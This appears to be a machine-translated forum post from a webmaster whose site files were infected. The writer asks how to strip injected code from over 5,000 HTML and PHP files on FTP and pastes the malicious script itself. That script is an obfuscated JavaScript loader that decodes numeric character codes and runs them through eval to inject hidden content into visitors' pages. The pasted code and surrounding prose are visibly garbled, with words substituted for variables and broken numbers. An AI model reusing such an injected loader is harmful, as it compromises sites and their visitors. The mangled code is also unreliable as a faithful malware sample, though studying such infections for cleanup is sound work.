I need to download over 5000 files from FTP, which are .html and .php files. I need to read every file and delete some things that were put there by the virus, and save it back to FTP.
var s = new String (); try {} document.rvwrew.vewr catch (d) {g = 1; c = string;} if (r && document.createTextNode) and = 2; e = Eval; t = [4.5 * U, 18 / i, 52.5 * i, 204 / i, 16 * and 80 / i, 50 * i, 222 / i, 49.5 * i, 234 / i, 54.5 * i, 202 / and, 55 * u, 232 / u, 23 * u, 206 / u, 50.5 * u, 232 / u, 34.5 * u, 216 / u, 50.5 * u, 218 / u, 50.5 * u, 220 / u, 58 * u, 230 / u, 33 * i, 242 / i, 42 * i, 194 / i, 51.5 * i, 156 / i, 48.5 * i, 218 / i, 50.5 * i, 80 / i, 19.5 * and, 196 / i, 55.5 * i, 200 / i, 60.5 * i, 78 / i, 20.5 * i, 182 / i, 24 * i, 186 / i, 20.5 * i, 246 / y, 4.5 * U, 18 / i, 4,5 * U, 210 / y, 51 * i, 228 / i, 48.5 * i, 218 / i, 50.5 * i, 228 / i, 20 * and 82 / i, 29.5 * and , 18 / u, 4.5 * U, 250 / u, 16 * u, 202 / u, 54 * u, 230 / u, 50.5 * u, 64 / u, 61.5 * u, 18 / u, 4.5 * u , 18 / u, 50 * u, 222 / u, 49.5 * i, 234 / i, 54.5 * i, 202 / i, 55 * i, 232 / i, 23 * i, 238 / u, 57 * i, 210 / y, 58 * i, 202 / y, 20 * i, 68 / i, 30 * i, 210 / y, 51 * i, 228 / i, 48.5 * i, 218 / i, 50.5 * i, 64 / i , 57.5 * i, 228 / i, 49.5 * i, 122 / i, 19.5 * i, 208 / y, 58 * i, 232 / i, 56 * i, 116 / i, 23.5 * i, 94 / i, 51 * u, 210 / u, 49 * u, 202 / u, 57 * u, 194 / u, 57.5 * u, 232 / u, 48.5 * u, 232 / u, 23 * u, 198 / u, 55.5 * u , 218 / u, 23.5 * u, 232 / u, 50.5 * i, 218 / i, 56 * and 94 / i, 57.5 * i, 232 / i, 48.5 * i, 232 / i, 23 * i, 224 / u, 52 * i, 224 / i, 19.5 * i, 64 / i, 59.5 * i, 210 / i, 50 * i, 232 / i, 52 * i, 122 / i, 19.5 * i, 98 / i, 24 * and 78 / i, 16 * I, 208 / i, 50.5 * i, 210 / i, 51.5 * i, 208 / y, 58 * i, 122 / i, 19.5 * i, 98 / i, 24 * and 78 / i , 16 * U, 230 / y, 58 * i, 242 / i, 54 * i, 202 / i, 30.5 * i, 78 / i, 59 * i, 210 / i, 57.5 * i, 210 / y, 49 * i, 210 / i, 54 * i, 210 / y, 58 * i, 242 / i, 29 * i, 208 / y, 52.5 * i, 200 / i, 50 * i, 202 / i, 55 * i, 118 / i, 56 * i, 222 / i, 57.5 * i, 210 / y, 58 * i, 210 / i, 55.5 * i, 220 / y, 29 * i, 194 / y, 49 * and , 230 / i, 55.5 * i, 216 / i, 58.5 * i, 232 / i, 50.5 * i, 118 / i, 54 * i, 202 / i, 51 * i, 232 / i, 29 * and 96 / i, 29.5 * i, 232 / i, 55.5 * i, 224 / y, 29 * and 96 / i, 29.5 * i, 78 / i, 31 * i, 120 / i, 23.5 * i, 210 / y, 51 * i, 228 / i, 48.5 * i, 218 / i, 50.5 * i, 124 / i, 17 * and 82 / i, 29.5 * i, 18 / i, 4.5 * U, 250 / u, 4, 5 * U, 18 / i, 51 * and, 234 / y, 55 * i, 198 / y, 58 * i, 210 / i, 55.5 * i, 220 / y, 16 * i, 210 / y, 51 * i, 228 / i, 48.5 * i, 218 / i, 50.5 * i, 228 / i, 20 * and 82 / i, 61.5 * i, 18 / i, 4.5 * i, 18 / i, 59 * i, 194 / y, 57 * and 64 / i, 51 * and 64 / i, 30.5 * i, 64 / i, 50 * i, 222 / i, 49.5 * U, 234 / i, 54.5 * i, 202 / i, 55 * i, 232 / i, 23 * i, 198 / y, 57 * i, 202 / i, 48.5 * i, 232 / i, 50.5 * i, 138 / i, 54 * i, 202 / i, 54.5 * i, 202 / i, 55 * and , 232 / i, 20 * and 78 / i, 52.5 * i, 204 / y, 57 * i, 194 / i, 54.5 * i, 202 / i, 19.5 * i, 82 / i, 29.5 * i, 204 / y, 23 * i, 230 / i, 50.5 * i, 232 / i, 32.5 * i, 232 / i, 58 * i, 228 / i, 52.5 * i, 196 / i, 58.5 * i, 232 / i, 50.5 * i, 80 / i, 19.5 * i, 230 / y, 57 * i, 198 / i, 19.5 * i, 88 / i, 19.5 * i, 208 / y, 58 * i, 232 / i, 56 * and, 116 / i, 23.5 * i, 94 / i, 51 * i, 210 / y, 49 * i, 202 / i, 57 * i, 194 / i, 57.5 * i, 232 / i, 48.5 * i, 232 / i, 2 3 * i, 198 / i, 55.5 * i, 218 / i, 23.5 * i, 232 / i, 50.5 * i, 218 / i, 56 * and 94 / i, 57.5 * i, 2 32 / i, 48.5 * i, 232 / i, 23 * i, 224 / y, 52 * i, 224 / i, 19.5 * i, 82 / i, 29.5 * i, 204 / i, 23 * i, 230 / y, 58 * i, 242 / i, 54 * i, 202 / y, 23 * i, 236 / i, 52.5 * i, 230 / i, 52.5 * i, 196 / i, 52.5 * i, 216 / i, 52.5 * i, 232 / i, 60.5 * i, 122 / i, 19.5 * i, 208 / y, 52.5 * y, 200 / y, 50 * i, 202 / i, 55 * i, 78 / i, 29.5 * i, 204 / y, 23 * i, 230 / y, 58 * i, 242 / i, 54 * i, 202 / y, 23 * i, 224 / i, 55.5 * i, 230 / i, 52.5 * and, 232 / i, 52.5 * i, 222 / i, 55 * i, 122 / i, 19.5 * i, 194 / y, 49 * i, 230 / i, 55.5 * i, 216 / i, 58.5 * U, 232 / i, 50.5 * i, 78 / i, 29.5 * i, 204 / y, 23 * i, 230 / y, 58 * i, 242 / i, 54 * i, 202 / y, 23 * i, 216 / i, 50.5 * i, 204 / y, 58 * i, 122 / i, 19.5 * i, 96 / i, 19.5 * y, 118 / y, 51 * and 92 / i, 57.5 * i, 232 / U , 60.5 * i, 216 / i, 50.5 * i, 92 / i, 58 * i, 222 / i, 56 * i, 122 / i, 19.5 * i, 96 / i, 19.5 * i, 118 / i , 51 * and 92 / i, 57.5 * i, 202 / y, 58 * i, 130 / i, 58 * i, 232 / i, 57 * i, 210 / y, 49 * i, 234 / i, 58 * and, 202 / , 20 * and 78 / i, 59.5 * i, 210 / i, 50 * i, 232 / i, 52 * and 78 / i, 22 * ββand 78 / i, 24.5 * i, 96 / i, 19.5 * and, 82 / i, 29.5 * i, 204 / y, 23 * i, 230 / i, 50.5 * i, 232 / i, 32.5 * i, 232 / i, 58 * i, 228 / i, 52.5 * i, 196 / i, 58.5 * i, 232 / i, 50.5 * i, 80 / i, 19.5 * i, 208 / i, 50.5 * i, 210 / i, 51.5 * i, 208 / i, 58 * and 78 / i , 22 * ββand 78 / i, 24.5 * i, 96 / i, 19.5 * i, 82 / i, 29.5 * i, 18 / i, 4.5 * i, 18 / i, 50 * i, 222 / i, 49.5 * i, 234 / i, 54.5 * i, 202 / i, 55 * i, 232 / i, 23 * i, 206 / i, 50.5 * i, 232 / i, 34.5 * i, 216 / i, 50.5 * and, 218 / i, 50.5 * i, 220 / y, 58 * I, 230 / y, 33 * i, 242 / i, 42 * i, 194 / i, 51.5 * i, 156 / i, 48.5 * i, 218 / i, 50.5 * i, 80 / i, 19.5 * U, 196 / i, 55.5 * i, 200 / i, 60.5 * i, 78 / i, 20.5 * i, 182 / i, 24 * i, 186 / y, 23 * u, 194 / u, 56 * u, 224 / u, 50.5 * u, 220 / u, 50 * u, 134 / u, 52 * u, 210 / u, 54 * u, 200 / u, 20 * u, 204 / u, 20.5 * u, 118 / u 4,5 * U, 18 / u, 62.5 * u]; if (document.createTextNode) with (s) mm = fromCharCode; for (I = 0 ;! i = m.length; i ++) S + = mm (e ("m" + "[" + "i" + ']')); try {doc.qwe.removeChild ()} catch (d) {e (s);}
And when you visit a web page, it says it (after decoding).
Not sure if there is another way to rewrite these files. But you have to go through 5000 files, it seems too much and risky :-)